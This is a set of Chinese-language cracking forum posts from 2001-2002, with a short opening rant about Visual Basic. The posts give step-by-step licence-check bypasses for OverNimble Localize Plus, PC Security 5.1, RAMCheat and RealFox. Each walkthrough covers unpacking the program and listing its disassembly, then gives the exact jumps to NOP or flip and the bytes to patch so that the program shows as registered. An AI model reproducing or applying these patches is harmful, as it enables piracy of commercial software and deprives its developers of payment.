ok了，运行此vb程序，按了ascII按钮没有了刚才的提示，正常工作了，和已注册不是一样吗：），可惜此软件太戆，vb实在编不出什么好东西（纯属个人观点），而只会给ck带来麻烦，以后microsoft会越发把编程倾向简单化，不希望程序员去了解底层操作。何况vb的用途越来越难开发，因为功能本身定制好了，只会用控件进行“搭积木”式编程，代码短短几十行，编个病毒吧，难道还带个1M的运行库给别人？而且兼容性越来越差，据说vb7版本mic为了赶borland的delphi，竟忽视了语言本身的兼容性！！显然是不可接受的，这就是大多vb程序员改行delphi的另一原因。


OverNimble Localize Plus v1.2

 标 题:论一次VB程序的破解(新手看过来) <---wolflh2002兄请看!! (4千字)
发信人:侦探柯南[CCG]
时 间:2001-9-22 20:18:54
详细信息:
今天有人求小弟帮着破这个软件(技术交流),小弟看了看,原来是用VB编的,平时我是根本不动VB程序的,
我觉得VB编的好软件比较少小弟于昨日加入了CCG,正处于心情好时,也就对付一下了....
软件名称:OverNimble Localize Plus v1.2
软件主页:http://www.overnimble.com
软件功能:不详.
文章目的:讲解简单的脱壳和爆破!
破解结论:简单的VB程序不用smartcheck也能搞定.
用到工具:
1.trw2000 v1.23(娃娃版)
2.prodump v1.62
3.hiew v611
4.fileinfo v2.45
第一步:脱壳
先是检测文件类型,用fileinfo发现是upx v1.2...
于是打开prodump选中unpack中的upx,瞬间脱壳....

小弟在这里有个疑惑,为什么脱了壳后的程序,在用trw跟踪时还是可以看到upx的领空???
难道是我没有脱干净??可是我反汇编没问题呀??? 请高手明示小弟..
第二步:爆破.
我先试了getdlgitemtexta和messageboxa都不行(这是小弟的习惯,相信是个好习惯).
于是就用法宝hmemcpy.

添入用户名:WINDOW,注册码:123ABC
断了下来后,先下bc,再下pmodule,后又有50下左右的F10来到:
00429B78: 8D4DE0 lea ecx,[ebp][-0020]
00429B7B: FF15FC064300 call d,[0004306FC]
00429B81: E81AF8FFFF call .0004293A0 <----关键的比较函数.
00429B8D: B904000280 mov ecx,080020004 ;
00429B92: B80A000000 mov eax,00000000A ;
00429B97: 894DA0 mov [ebp][-0060],ecx
00429B9A: 894598 mov [ebp][-0068],eax
00429B9D: 894DB0 mov [ebp][-0050],ecx
00429BA0: 8945A8 mov [ebp][-0058],eax
00429BA3: 894DC0 mov [ebp][-0040],ecx
00429BA6: 8945B8 mov [ebp][-0048],eax
00429BA9: 0F8424010000 je .000429CD3 <---很关键的跳转.
00429BAF: 391D4CDC4200 cmp [00042DC4C],ebx

于是该了这个关键的跳转,出现注册成功的对话框,点了确定后发现注册还是失败了.
程序一定在很多地方调用了比较函数,搞定它就差不多了,于是就重比较函数入手.
在00429b81下F8,按了70次F10左右来到.

0042947F: 51 push ecx
00429480: FF15FC034300 call d,[0004303FC] -----|
00429486: 83F80C cmp eax,00C ; |->VB函数,这里判断注册码
00429489: 756A jne .0004294F5 -----|的长度,一定不要跳才行.
0042948B: 8D55DC lea edx,[ebp][-0024]
0042948E: 8955C0 mov [ebp][-0040],edx
00429491: C745B808400000 mov d,[ebp][-0048],000004008 ;
00429491: C745B808400000 mov d,[ebp][-0048],000004008
00429498: 8D45B8 lea eax,[ebp][-0048]
0042949B: 50 push eax
0042949C: FF1544054300 call d,[000430544] ----|
004294A2: 6685C0 test ax,ax |->VB函数,这里判断注册码
004294A5: 744E je .0004294F5 ----|是不是数字,也不要跳.
004294A7: 8B4DDC mov ecx,[ebp][-0024]
004294AA: 51 push ecx
004294AB: FF1500074300 call d,[000430700]
004294B1: FF15A8064300 call d,[0004306A8] ----|
004294B7: 8945E0 mov [ebp][-0020],eax |->注册码比较,我不熟VB
004294BA: 83F801 cmp eax,001 ; |所以没有去找注册码.
004294BD: 7C36 jl .0004294F5 ----|不要跳.
004294BF: DB45E0 fild d,[ebp][-0020]
004294C2: DD5DA0 fstp q,[ebp][-0060]
004294C5: DD45A0 fld q,[ebp][-0060]
004294C8: DC1D181E4000 fcomp q,[000401E18]
好了以后就没有向004294f5(出错的地方)跳的地方了.这样我们就爆破成功了.

第三步:手动修改成正式版.
不管你是用Hex edit,还是Unasm(我用的是hiew,主要是我中了病毒,别的工具都不能用了).
只需要该以下三个地方:
1.)00429489的jne------>90,90(即nop,空指令).
2.)004294a5同上.
3.)004294bd同上.
好了我们完成了....我的VB不好,就不去找注册码了.

组织:China Crack Group[CCG]
ID:柯南


PC Security 5.1

 标 题:PC Security 5.1自动注册(莫名其妙)~~~~~~~~~~~~~ (14千字)
发信人:Sam.com
时 间:2002-1-20 3:24:16
详细信息:
破解目标:PC Security 5.1

下载地址:http://nj.onlinedown.net/PCSECURITY.HTM

软件简介:
这个存取控制软件功能非常强大,它除了可以让你关闭我的电脑、控制台、显示器设定、启动、拨号网路、桌面捷径、工作列等以及隐藏桌面图标和Windows工作列的功能外,还可锁住硬盘中任何目录下的文件.而且它还附有一个Lock System,和屏幕保护程序一样在电脑闲 置一段时间后会自动启动防护(亦可手动启动)

使用工具:Trw2000 1.23 & W32dasm

破解原因:
我的手提电脑(又破又旧)经常要带到上班的地方使用,有时我要临时离开,不希望有人乱碰我的电脑,PC Security 5.1容量虽小,功能却很强大,它可以定时锁定电脑,可以保护任何文件和文件夾,还有其它大量的保护.

破解过程:
安装运行PC Security 5.1,安装完后双击系统托盘的小红锁图标,进入它的Setting窗口,程序提示只能试用30天并要求注册,随便乱填,按注册,程序报错自动退出.好了,用W32dasm反汇编Security.exe找出错的字串,可是找不到,呵呵~~~~~~看来要动态的啦~~~~~
再次进入,填入Sam Von, 67676767,bpx hmemcpy,按注册,Trw拦下来了.然后用F12找到出错的Call再慢慢找注册的判断,请看下面的代码

=====================================================================
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040F494(C)
|
:0040F4A6 8B4DF0 mov ecx, dword ptr [ebp-10]
:0040F4A9 3959F8 cmp dword ptr [ecx-08], ebx
:0040F4AC 7509 jne 0040F4B7
:0040F4AE 53 push ebx
:0040F4AF 53 push ebx

* Possible Reference to Dialog:
|
:0040F4B0 6818134700 push 00471318
:0040F4B5 EBE6 jmp 0040F49D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040F4AC(C)
|
:0040F4B7 50 push eax
:0040F4B8 51 push ecx
:0040F4B9 E8844D0000 call 00414242 <---这是判断的Call进去看看
:0040F4BE 59 pop ecx
:0040F4BF 59 pop ecx
:0040F4C0 85C0 test eax, eax <---eax不能为0否则下面的跳跃就跳到出错的地方了,记住这个判断

:0040F4C2 53 push ebx
:0040F4C3 53 push ebx
:0040F4C4 744F je 0040F515 <---跳就完了,在这里如果用r fl z的话程序会提示注册成功,但进入About仍然是非注册版,退出再进入它会再次让你注册

注意往下看如何能让eax不为0
====================================================================
* Referenced by a CALL at Address:
|:0040F4B9
|
:00414242 55 push ebp
:00414243 8BEC mov ebp, esp
:00414245 81EC80000000 sub esp, 00000080
:0041424B 53 push ebx
:0041424C 56 push esi
:0041424D 57 push edi
:0041424E E8E2FEFFFF call 00414135
:00414253 85C0 test eax, eax
:00414255 0F84EF010000 je 0041444A <---一定不能跳,先去看看41444A处的说明
:0041425B 8B5D08 mov ebx, dword ptr [ebp+08]
:0041425E 33FF xor edi, edi
:00414260 53 push ebx
:00414261 33F6 xor esi, esi
:00414263 E888070100 call 004249F0
:00414268 59 pop ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414299(C)
|
:00414269 0FBE041F movsx eax, byte ptr [edi+ebx]
:0041426D 50 push eax
:0041426E E815190100 call 00425B88
:00414273 85C0 test eax, eax
:00414275 59 pop ecx
:00414276 750F jne 00414287
:00414278 0FBE041F movsx eax, byte ptr [edi+ebx]
:0041427C 50 push eax
:0041427D E8D8180100 call 00425B5A
:00414282 85C0 test eax, eax
:00414284 59 pop ecx
:00414285 7408 je 0041428F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414276(C)
|
:00414287 8A041F mov al, byte ptr [edi+ebx]
:0041428A 884435E0 mov byte ptr [ebp+esi-20], al
:0041428E 46 inc esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414285(C)
|
:0041428F 53 push ebx
:00414290 47 inc edi
:00414291 E85A070100 call 004249F0
:00414296 3BF8 cmp edi, eax
:00414298 59 pop ecx
:00414299 76CE jbe 00414269
:0041429B 806435E000 and byte ptr [ebp+esi-20], 00
:004142A0 8D45E0 lea eax, dword ptr [ebp-20]
:004142A3 50 push eax
:004142A4 E847070100 call 004249F0
:004142A9 83F810 cmp eax, 00000010 <---这里判断注册码的个数,应该是16位
:004142AC 59 pop ecx
:004142AD 7409 je 004142B8
:004142AF 83F811 cmp eax, 00000011
:004142B2 0F8592010000 jne 0041444A <---又一个,避开它

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004142AD(C)
|
:004142B8 8D45E0 lea eax, dword ptr [ebp-20]
:004142BB 50 push eax
:004142BC E82F070100 call 004249F0
:004142C1 48 dec eax
:004142C2 59 pop ecx
:004142C3 83F810 cmp eax, 00000010
:004142C6 751A jne 004142E2
:004142C8 807DF046 cmp byte ptr [ebp-10], 46
:004142CC 7406 je 004142D4
:004142CE 807DF066 cmp byte ptr [ebp-10], 66
:004142D2 750E jne 004142E2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004142CC(C)
|
:004142D4 8065F000 and byte ptr [ebp-10], 00
:004142D8 C705A091470001000000 mov dword ptr [004791A0], 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004142C6(C), :004142D2(C)
|
:004142E2 FF750C push [ebp+0C]
:004142E5 33FF xor edi, edi
:004142E7 E804070100 call 004249F0
:004142EC 8BF0 mov esi, eax
:004142EE 59 pop ecx
:004142EF 4E dec esi
:004142F0 782E js 00414320
:004142F2 6A09 push 00000009
:004142F4 58 pop eax
:004142F5 2BC6 sub eax, esi
:004142F7 8D1C80 lea ebx, dword ptr [eax+4*eax]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041431E(C)
|
:004142FA 8B450C mov eax, dword ptr [ebp+0C]
:004142FD 0FBE0406 movsx eax, byte ptr [esi+eax]
:00414301 03C3 add eax, ebx
:00414303 50 push eax
:00414304 E842030000 call 0041464B
:00414309 C70424401F0000 mov dword ptr [esp], 00001F40
:00414310 E87A030000 call 0041468F
:00414315 03F8 add edi, eax
:00414317 4E dec esi
:00414318 83C305 add ebx, 00000005
:0041431B 59 pop ecx
:0041431C 85F6 test esi, esi
:0041431E 7DDA jge 004142FA

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004142F0(C)
|
:00414320 A1F01D4700 mov eax, dword ptr [00471DF0]
:00414325 03C7 add eax, edi
:00414327 50 push eax
:00414328 E81E030000 call 0041464B
:0041432D 8065C000 and byte ptr [ebp-40], 00
:00414331 59 pop ecx
:00414332 6A08 push 00000008

* Possible Reference to Dialog:
|
:00414334 BF601F4700 mov edi, 00471F60
:00414339 5B pop ebx
:0041433A 8BF3 mov esi, ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414357(C)
|
:0041433C 6A0F push 0000000F
:0041433E E84C030000 call 0041468F
:00414343 59 pop ecx
:00414344 50 push eax
:00414345 8D45C0 lea eax, dword ptr [ebp-40]
:00414348 50 push eax
:00414349 8D45C0 lea eax, dword ptr [ebp-40]
:0041434C 57 push edi
:0041434D 50 push eax
:0041434E E870130100 call 004256C3
:00414353 83C410 add esp, 00000010
:00414356 4E dec esi
:00414357 75E3 jne 0041433C
:00414359 8D45E0 lea eax, dword ptr [ebp-20]
:0041435C 50 push eax
:0041435D 8D45A0 lea eax, dword ptr [ebp-60]
:00414360 50 push eax
:00414361 E83A030100 call 004246A0
:00414366 8065A400 and byte ptr [ebp-5C], 00
:0041436A 8D4580 lea eax, dword ptr [ebp-80]
:0041436D 50 push eax
:0041436E 8D45E4 lea eax, dword ptr [ebp-1C]
:00414371 50 push eax
:00414372 E80BF6FEFF call 00403982
:00414377 8D45C0 lea eax, dword ptr [ebp-40]
:0041437A 50 push eax
:0041437B 8D4580 lea eax, dword ptr [ebp-80]
:0041437E 50 push eax
:0041437F E82C620100 call 0042A5B0 <---这个Call里应该是比较重要的比较,前面的好多Call我都追进去过,它们都用我填的假资料做了很多运算,不过我没搞清楚,谁去研究下它的算法吧.

:00414384 83C418 add esp, 00000018
:00414387 85C0 test eax, eax
:00414389 0F85BB000000 jne 0041444A <---这里是最后一个,前两个一般来说只要你填的假注册码是16位就不会跳走,但这个一定会跳的,因为我的注册码肯定是假的嘛,在这里下r fl z命令就能过去了,然后按F5,看看程序跟你说什么,当然是多谢你的注册了,再看About里也成为注册版了,退出再进入依然不变,呵呵~~~~~~我想这全靠下面的这些代码了,因为程序会把注册信息放入c:\windows\Gerces23.dru这个文件里,那我就将这个文件好好保管了~~~~~~哈哈

:0041438F FF750C push [ebp+0C]
:00414392 C705A491470001000000 mov dword ptr [004791A4], 00000001
:0041439C C7059C91470032000000 mov dword ptr [0047919C], 00000032
:004143A6 68B0914700 push 004791B0
:004143AB E8F0020100 call 004246A0
:004143B0 80257892470000 and byte ptr [00479278], 00
:004143B7 59 pop ecx
:004143B8 59 pop ecx
:004143B9 BE78924700 mov esi, 00479278

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004143D3(C)
|
:004143BE 6A0F push 0000000F
:004143C0 E8CA020000 call 0041468F
:004143C5 59 pop ecx
:004143C6 50 push eax
:004143C7 56 push esi
:004143C8 57 push edi
:004143C9 56 push esi
:004143CA E8F4120100 call 004256C3
:004143CF 83C410 add esp, 00000010
:004143D2 4B dec ebx
:004143D3 75E9 jne 004143BE
:004143D5 A078924700 mov al, byte ptr [00479278]
:004143DA 33D2 xor edx, edx
:004143DC 84C0 test al, al
:004143DE 741B je 004143FB
:004143E0 8BCE mov ecx, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004143F9(C)
|
:004143E2 3C20 cmp al, 20
:004143E4 740D je 004143F3
:004143E6 0FBE01 movsx eax, byte ptr [ecx]
:004143E9 03C2 add eax, edx
:004143EB BFFF000000 mov edi, 000000FF
:004143F0 99 cdq
:004143F1 F7FF idiv edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004143E4(C)
|
:004143F3 8A4101 mov al, byte ptr [ecx+01]
:004143F6 41 inc ecx
:004143F7 84C0 test al, al
:004143F9 75E7 jne 004143E2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004143DE(C)
|
:004143FB 8BC2 mov eax, edx
:004143FD 6A63 push 00000063
:004143FF 99 cdq
:00414400 59 pop ecx
:00414401 F7F9 idiv ecx
:00414403 52 push edx
:00414404 56 push esi

* Possible Reference to Dialog:
|
:00414405 68581F4700 push 00471F58
:0041440A 56 push esi
:0041440B E8B3120100 call 004256C3
:00414410 6A28 push 00000028
:00414412 E834020000 call 0041464B
:00414417 83C414 add esp, 00000014
:0041441A 33F6 xor esi, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414431(C)
|
:0041441C 6A0F push 0000000F
:0041441E E86C020000 call 0041468F
:00414423 3086B0914700 xor byte ptr [esi+004791B0], al
:00414429 46 inc esi
:0041442A 81FEC8000000 cmp esi, 000000C8
:00414430 59 pop ecx
:00414431 72E9 jb 0041441C
:00414433 E857FDFFFF call 0041418F
:00414438 8BF0 mov esi, eax
:0041443A 8D45A0 lea eax, dword ptr [ebp-60]
:0041443D 50 push eax
:0041443E FF750C push [ebp+0C]
:00414441 E8E9F8FEFF call 00403D2F
:00414446 59 pop ecx
:00414447 59 pop ecx
:00414448 EB02 jmp 0041444C

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00414255(C), :004142B2(C), :00414389(C)
|
:0041444A 33F6 xor esi, esi <---esi清为0了,注意有三个地方会跳到这里来

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414448(U)
|
:0041444C 8BC6 mov eax, esi <---如果跳到上面一行,这时eax也为0了,下面就跳出这个Call了,还记得外面那个test eax,eax吗所以无论如何都不能让程序跳到41444A这一行

:0041444E 5F pop edi
:0041444F 5E pop esi
:00414450 5B pop ebx
:00414451 C9 leave
:00414452 C3 ret

后记:
这次破解我不想写太多东西,因为我并没有将它的算法搞清楚,它的很多call都在拿我的假资料做运算,不过都是些乘法除法之类的,请高手们看看吧.将它破解后我上到http://astalavista.box.sk/去查找它的注册机,但找到的都是注册了的Gerces23.dru文件,我想它应该不是那么简单的,不然怎么会连个正确的注册码都找不到呢~~~~~~~~~~呵呵

_/_/_/
_/ _/_/_/ _/_/_/ _/_/
_/_/ _/ _/ _/ _/ _/
_/ _/ _/ _/ _/ _/
_/_/_/ _/_/_/ _/ _/ _/

Sam.com
2:55 2001-7-20


RAMCheat v1.2

 标 题:我的第?篇XX:（RAMCheat v1.2）<补充> (5千字)
发信人:exdata
时 间:2002-1-2 22:34:27
详细信息:
我的第?篇XX:（RAMCheat v1.2）<补充>。
以下是上一次贴的X文:

"我的第?篇XX:

到WinHEX主页下载RAMCheat v1.2
游戏、破解都用得着！！！！

/////////////////////////////////////////////////////////////////
运行启动后注册判断（？）：
/////////////////////////////////////////////////////////////////

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00413961(C)
|
:00413BE6 A1F8764100 mov eax, dword ptr [004176F8]
:00413BEB E8C8C1FFFF call 0040FDB8
:00413BF0 3B05FC764100 cmp eax, dword ptr [004176FC]
:00413BF6 7515 jne 00413C0D
:00413BF8 B003 mov al, 03
:00413BFA E81167FFFF call 0040A310
:00413BFF 66F7D0 not ax
:00413C02 0FB7C0 movzx eax, ax
:00413C05 3B05D4764100 cmp eax, dword ptr [004176D4]
:00413C0B 7404 je 00413C11 ；这里改成跳
（没试过，应该不好，因为00413BF6可跳到下面，变成注册失败，可能？？）

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00413BF6(C)
|
:00413C0D 33C0 xor eax, eax
:00413C0F EB02 jmp 00413C13 ;改这里，不要跳转（推荐）
;干脆来两个nop，让它前进
；前进，前进......

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00413C0B(C)
|
:00413C11 B001 mov al, 01 ；al为注册标记
；注册成功为1

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00413C0F(U)
|
:00413C13 A2E3814100 mov byte ptr [004181E3], al
;来到这就成了 ^-^
；[004181E3]在后来起功能限制标记作用

:00413C18 EB7C jmp 00413C96

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041392A(C)
|
:00413C1A 81FFE8030000 cmp edi, 000003E8
:00413C20 7574 jne 00413C96
:00413C22 6A00 push 00000000
:00413C24 68E8030000 push 000003E8
:00413C29 A1F4874100 mov eax, dword ptr [004187F4]
:00413C2E 50 push eax

///////////////////////////////////////////////////////////////////////////
其中一处功能限制（？）：
///////////////////////////////////////////////////////////////////////////
:0040D80D E86A6CFFFF Call 0040447C
:0040D812 B001 mov al, 01
:0040D814 E86396FFFF call 00406E7C
:0040D819 A304824100 mov dword ptr [00418204], eax
:0040D81E 803DDA81410000 cmp byte ptr [004181DA], 00
:0040D825 740D je 0040D834
:0040D827 8BC3 mov eax, ebx
:0040D829 66BA6700 mov dx, 0067
:0040D82D E82AF4FFFF call 0040CC5C
:0040D832 5B pop ebx
:0040D833 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D825(C)
|
:0040D834 803DE381410000 cmp byte ptr [004181E3], 00
:0040D83B 7546 jne 0040D883 ;功能限制标记在这里起作用
:0040D83D A198764100 mov eax, dword ptr [00417698]
:0040D842 8B0485F4664100 mov eax, dword ptr [4*eax+004166F4]
:0040D849 3B0504824100 cmp eax, dword ptr [00418204]
:0040D84F 7C18 jl 0040D869
:0040D851 A198764100 mov eax, dword ptr [00417698]
:0040D856 833C85F466410000 cmp dword ptr [4*eax+004166F4], 00000000
:0040D85E 7C23 jl 0040D883
:0040D860 833D0482410000 cmp dword ptr [00418204], 00000000
:0040D867 7D1A jge 0040D883

；）经过:00413C0F：jmp 00413C13;改这里，不要跳转（推荐）的改动后
：）菜单没有了注册项，RAMcheat功能尚未发现受限制！
：）收工。
：）它的注册是否和WinHEX那样要USER.TXT文件？？？？？"

//////////////////////////////////////////////////////////////////////////////

经过上次的修改当时能用，没有限制。就这样过了一段安宁的日子......
到昨天又有未注册的限制窗口弹出，于是又看了看。
由于上次匆匆收工，遗漏了还有一处要修改！！！！！！
如下：

:004111C1 BA03000000 mov edx, 00000003
:004111C6 E88182FFFF call 0040944C
:004111CB B003 mov al, 03
:004111CD E88E79FFFF call 00408B60

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004111A1(C), :004111B0(C)
|
:004111D2 80BFE90A000000 cmp byte ptr [edi+00000AE9], 00

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:004111D9 7407 je 004111E2
///////////////////////////je 004111E2改为两个nop
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:004111DB C605E381410000 mov byte ptr [004181E3], 00
///mov byte ptr [004181E3], 00改为mov byte ptr [004181E3], 01
//我认为这样要比改跳转要好，虽然改得多了点。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004111D9(C)
|
:004111E2 803DE381410000 cmp byte ptr [004181E3], 00
:004111E9 7519 jne 00411204
:004111EB 833F02 cmp dword ptr [edi], 00000002
:004111EE 7E14 jle 00411204
:004111F0 6A00 push 00000000
:004111F2 68A0BB0D00 push 000DBBA0

//应该行了吧？？？？？？(静态返汇编看看改改的，未跟踪调试，运行是没问题的)
//至少现在没问题了！！！！
//004111D2 80BFE90A000000 cmp byte ptr [edi+00000AE9], 00
//也是一个可疑的地方，谁有空看看。


RealFox V1.0.0.17

 标 题:RealPlayer之狐朋(RealFox) V1.0.0.17 Build 011008 破解经历 (10千字)
发信人:leeyam
时 间:2002-3-6 23:59:48
详细信息:
RealPlayer之狐朋(RealFox) V1.0.0.17 Build 011008 破解经历

首先要脱掉RealFox.exe的壳

第一次我用UnPECompact1.32自动脱壳，竟然不能运行！用W32Dasm反编出现错误！在放弃与继续间徘徊了一阵决定再脱一次。这次用TRW2000+BW2000脱掉后仍然不能运行，但可以反编了，虽然不能直接破解但最终还是可以用内存补丁解决[SMC我没成功过]

开始查找字串，看见：
* Possible StringData Ref from Code Obj ->"来说破解这个小软件非常容易，但是请体谅作者的辛"
->"劳，
"
|
:0041A64A 68A4D04600 push 0046D0A4
:0041A64F 8D4C2410 lea ecx, dword ptr [esp+10]
:0041A653 E8EF070300 call 0044AE47

* Possible StringData Ref from Code Obj ->"如果没有任何资金的支持，优秀的共享软件将会越来"
->"越
"
|
:0041A658 6870D04600 push 0046D070
:0041A65D 8D4C2410 lea ecx, dword ptr [esp+10]
:0041A661 E8E1070300 call 0044AE47

* Possible StringData Ref from Code Obj ->"少，相信您并不希望这种情况出现吧？"
|
:0041A666 684CD04600 push 0046D04C
:0041A66B 8D4C2410 lea ecx, dword ptr [esp+10]
:0041A66F E8D3070300 call 0044AE47
:0041A674 8B4C240C mov ecx, dword ptr [esp+0C]
:0041A678 6A00 push 00000000

显然有点过意不去……但为了学习与研究我还是决定做这一次！！

此软件输入注册信息后需要重新启动来验证注册码。既然如此想必该软件会在输入注册码后将输入的注册码存放到某个位置，等软件下次运行时再来检测该位置判断注册码！

* Possible StringData Ref from Code Obj ->"RegisterCode"
|
:00425733 688CE84600 push 0046E88C

* Possible StringData Ref from Code Obj ->"Software\HotFox(Vision Soft)\REALFOX"
|
:00425738 6864E84600 push 0046E864
:0042573D 6801000080 push 80000001
:00425742 8BCE mov ecx, esi
:00425744 E8B7F8FFFF call 00425000
:00425749 8BF0 mov esi, eax
:0042574B 85F6 test esi, esi
:0042574D 740E je 0042575D
:0042574F 6A00 push 00000000
:00425751 6A00 push 00000000

* Possible StringData Ref from Code Obj ->"请退出并重新启动本程序以验证注册码"…………………………在这之前一定会将我填写的注册码存放到了某个位置！于是向上看。哈哈，没错吧！在注册表里。
|
:00425753 689CE84600 push 0046E89C
:00425758 E811960200 call 0044ED6E

下面我开始搜索字串"RegisterCode"看看程序会在别的什么地方调用它！果然找到以下代码：

* Possible StringData Ref from Code Obj ->"RegisterCode"
|
:00424EB2 688CE84600 push 0046E88C

* Possible StringData Ref from Code Obj ->"Software\HotFox(Vision Soft)\REALFOX"
|
:00424EB7 6864E84600 push 0046E864
:00424EBC 8D44241C lea eax, dword ptr [esp+1C]
:00424EC0 B302 mov bl, 02
:00424EC2 6801000080 push 80000001
:00424EC7 50 push eax
:00424EC8 8BCE mov ecx, esi
:00424ECA 885C2430 mov byte ptr [esp+30], bl
:00424ECE E80D020000 call 004250E0
:00424ED3 50 push eax
:00424ED4 8D4C240C lea ecx, dword ptr [esp+0C]
:00424ED8 C644242403 mov [esp+24], 03
:00424EDD E8C25C0200 call 0044ABA4
:00424EE2 8D4C2414 lea ecx, dword ptr [esp+14]
:00424EE6 885C2420 mov byte ptr [esp+20], bl
:00424EEA E87C5B0200 call 0044AA6B
:00424EEF 8B4C2408 mov ecx, dword ptr [esp+08]
:00424EF3 8B41F8 mov eax, dword ptr [ecx-08]
:00424EF6 85C0 test eax, eax
:00424EF8 0F84B9000000 je 00424FB7…………………………可疑！
:00424EFE 8D542414 lea edx, dword ptr [esp+14]
:00424F02 8BCE mov ecx, esi
:00424F04 52 push edx
:00424F05 E826F7FFFF call 00424630
:00424F0A 50 push eax
:00424F0B 8D4C2414 lea ecx, dword ptr [esp+14]
:00424F0F C644242404 mov [esp+24], 04
:00424F14 E88B5C0200 call 0044ABA4
:00424F19 8D4C2414 lea ecx, dword ptr [esp+14]
:00424F1D 885C2420 mov byte ptr [esp+20], bl
:00424F21 E8455B0200 call 0044AA6B
:00424F26 8B442408 mov eax, dword ptr [esp+08]
:00424F2A 8D4C2414 lea ecx, dword ptr [esp+14]
:00424F2E 50 push eax
:00424F2F 51 push ecx
:00424F30 8BCE mov ecx, esi
:00424F32 E819030000 call 00425250
:00424F37 50 push eax
:00424F38 8D4C2410 lea ecx, dword ptr [esp+10]
:00424F3C C644242405 mov [esp+24], 05
:00424F41 E85E5C0200 call 0044ABA4
:00424F46 8D4C2414 lea ecx, dword ptr [esp+14]
:00424F4A 885C2420 mov byte ptr [esp+20], bl
:00424F4E E8185B0200 call 0044AA6B
:00424F53 8B44240C mov eax, dword ptr [esp+0C]
:00424F57 8B48F8 mov ecx, dword ptr [eax-08]
:00424F5A 85C9 test ecx, ecx
:00424F5C 7459 je 00424FB7…………………………可疑！
:00424F5E 8B542410 mov edx, dword ptr [esp+10]
:00424F62 50 push eax
:00424F63 52 push edx
:00424F64 E81E180100 call 00436787
:00424F69 83C408 add esp, 00000008
:00424F6C 85C0 test eax, eax
:00424F6E 7547 jne 00424FB7…………………………可疑！

* Possible Ref to Menu: MenuID_0105, Item: "?@ 6? Enter"
|

* Possible Reference to String Resource ID=00001: "S"
|
:00424F70 BB01000000 mov ebx, 00000001
:00424F75 8D4C240C lea ecx, dword ptr [esp+0C]

这里有三个跳很可疑！用TRW2000下中断 BPX 424EF8 运行RealFox.exe[事先准备了一个没有脱壳的]，哈哈！拦下来了。分别在三个跳的位置下命令 r fl z 全部改成了不跳！F5运行，注册成功！试了试全部功能都可以用。

现在轮到 RealDog.exe 了，老方法脱壳，反编看看，是一样的！

* Possible StringData Ref from Code Obj ->"RegisterCode"
|
:0040C302 6804574400 push 00445704

* Possible StringData Ref from Code Obj ->"Software\HotFox(Vision Soft)\REALFOX"
|
:0040C307 68DC564400 push 004456DC
:0040C30C 8D44241C lea eax, dword ptr [esp+1C]
:0040C310 B302 mov bl, 02
:0040C312 6801000080 push 80000001
:0040C317 50 push eax
:0040C318 8BCE mov ecx, esi
:0040C31A 885C2430 mov byte ptr [esp+30], bl
:0040C31E E87D020000 call 0040C5A0
:0040C323 50 push eax
:0040C324 8D4C240C lea ecx, dword ptr [esp+0C]
:0040C328 C644242403 mov [esp+24], 03
:0040C32D E8C1B40100 call 004277F3
:0040C332 8D4C2414 lea ecx, dword ptr [esp+14]
:0040C336 885C2420 mov byte ptr [esp+20], bl
:0040C33A E87BB30100 call 004276BA
:0040C33F 8B4C2408 mov ecx, dword ptr [esp+08]
:0040C343 8B41F8 mov eax, dword ptr [ecx-08]
:0040C346 85C0 test eax, eax
:0040C348 0F84B9000000 je 0040C407…………………………NOP掉！
:0040C34E 8D542414 lea edx, dword ptr [esp+14]
:0040C352 8BCE mov ecx, esi
:0040C354 52 push edx
:0040C355 E826F7FFFF call 0040BA80
:0040C35A 50 push eax
:0040C35B 8D4C2414 lea ecx, dword ptr [esp+14]
:0040C35F C644242404 mov [esp+24], 04
:0040C364 E88AB40100 call 004277F3
:0040C369 8D4C2414 lea ecx, dword ptr [esp+14]
:0040C36D 885C2420 mov byte ptr [esp+20], bl
:0040C371 E844B30100 call 004276BA
:0040C376 8B442408 mov eax, dword ptr [esp+08]
:0040C37A 8D4C2414 lea ecx, dword ptr [esp+14]
:0040C37E 50 push eax
:0040C37F 51 push ecx
:0040C380 8BCE mov ecx, esi
:0040C382 E889030000 call 0040C710
:0040C387 50 push eax
:0040C388 8D4C2410 lea ecx, dword ptr [esp+10]
:0040C38C C644242405 mov [esp+24], 05
:0040C391 E85DB40100 call 004277F3
:0040C396 8D4C2414 lea ecx, dword ptr [esp+14]
:0040C39A 885C2420 mov byte ptr [esp+20], bl
:0040C39E E817B30100 call 004276BA
:0040C3A3 8B44240C mov eax, dword ptr [esp+0C]
:0040C3A7 8B48F8 mov ecx, dword ptr [eax-08]
:0040C3AA 85C9 test ecx, ecx
:0040C3AC 7459 je 0040C407…………………………NOP掉！
:0040C3AE 8B542410 mov edx, dword ptr [esp+10]
